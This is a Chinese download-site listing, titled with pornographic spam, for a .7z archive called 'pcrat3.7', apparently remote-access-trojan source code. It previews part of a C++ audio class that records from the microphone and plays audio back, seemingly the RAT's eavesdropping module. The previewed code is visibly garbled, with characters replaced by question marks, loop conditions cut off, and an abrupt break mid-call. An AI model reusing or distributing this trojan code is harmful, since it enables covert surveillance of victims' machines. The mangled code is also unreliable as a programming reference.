91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

  • 大小: 3.52MB
    文件類型: .7z
    金幣: 1
    下載: 0 次
    發(fā)布日期: 2023-10-04
  • 語(yǔ)言: 其他
  • 標(biāo)簽: pcrat3.7??

資源簡(jiǎn)介

pcrat3.7

資源截圖

代碼片段和文件信息

//?Audio.cpp:?implementation?of?the?CAudio?class.
//
//////////////////////////////////////////////////////////////////////


#include?“Audio.h“

//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::CAudio()
{
m_hEventWaveIn =?CreateEvent(NULL?false?false?NULL);
m_hStartRecord =?CreateEvent(NULL?false?false?NULL);
m_hThreadCallBack =?NULL;
m_nWaveInIndex =?0;
m_nWaveOutIndex =?0;
m_nBufferLength =?1000;?//?m_GSMWavefmt.wfx.nSamplesPerSec?/?8(bit)

m_bIsWaveInUsed =?false;
m_bIsWaveOutUsed =?false;

for?(int?i?=?0;?i? {
m_lpInAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpInAudioHdr[i]?=?new?WAVEHDR;

m_lpOutAudioData[i]?=?new?BYTE[m_nBufferLength];
m_lpOutAudioHdr[i]?=?new?WAVEHDR;
}

memset(&m_GSMWavefmt?0?sizeof(GSM610WAVEFORMAT));

m_GSMWavefmt.wfx.wFormatTag?=?WAVE_FORMAT_GSM610;?//?ACM?will?auto?convert?wave?format
m_GSMWavefmt.wfx.nChannels?=?1;
m_GSMWavefmt.wfx.nSamplesPerSec?=?8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec?=?1625;
m_GSMWavefmt.wfx.nBlockAlign?=?65;
m_GSMWavefmt.wfx.wBitsPerSample?=?0;
m_GSMWavefmt.wfx.cbSize?=?2;
m_GSMWavefmt.wSamplesPerBlock?=?320;
}

CAudio::~CAudio()
{
if?(m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for?(int?i?=?0;?i? waveInUnprepareHeader(m_hWaveIn?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack?-1);
}

if?(m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for?(int?i?=?0;?i? waveOutUnprepareHeader(m_hWaveOut?m_lpInAudioHdr[i]?sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}


for?(int?i?=?0;?i? {
delete?[]?m_lpInAudioData[i];
delete?m_lpInAudioHdr[i];

delete?[]?m_lpOutAudioData[i];
delete?m_lpOutAudioHdr[i];
}

CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}

LPBYTE?CAudio::getRecordBuffer(LPDWORD?lpdwBytes)
{
//?Not?open?WaveIn?yet?so?open?it...
if?(!m_bIsWaveInUsed?&&?!InitializeWaveIn())
return?NULL;

if?(lpdwBytes?==?NULL)
return?NULL;

SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn?INFINITE);
*lpdwBytes?=?m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}

bool?CAudio::playBuffer(LPBYTE?lpWaveBuffer?DWORD?dwBytes)
{
if?(!m_bIsWaveOutUsed?&&?!InitializeWaveOut())
return?NULL;

for?(int?i?=?0;?i? {
memcpy(m_lpOutAudioData[m_nWaveOutIndex]?lpWaveBuffer?m_nBufferLength);
waveOutWrite(m_hWaveOut?m_lpOutAudioHdr[m_nWaveOutIndex]?sizeof(WAVEHDR));
m_nWaveOutIndex?=?1?-?m_nWaveOutIndex;
}
return?true;
}

bool?CAudio::InitializeWaveIn()
{
if?(!waveInGetNumDevs())
return?false;

MMRESULT mmResult;
DWORD dwThreadID?=?0;
m_hThreadCallBack?=?CreateThread(NULL

評(píng)論

共有 條評(píng)論

相關(guān)資源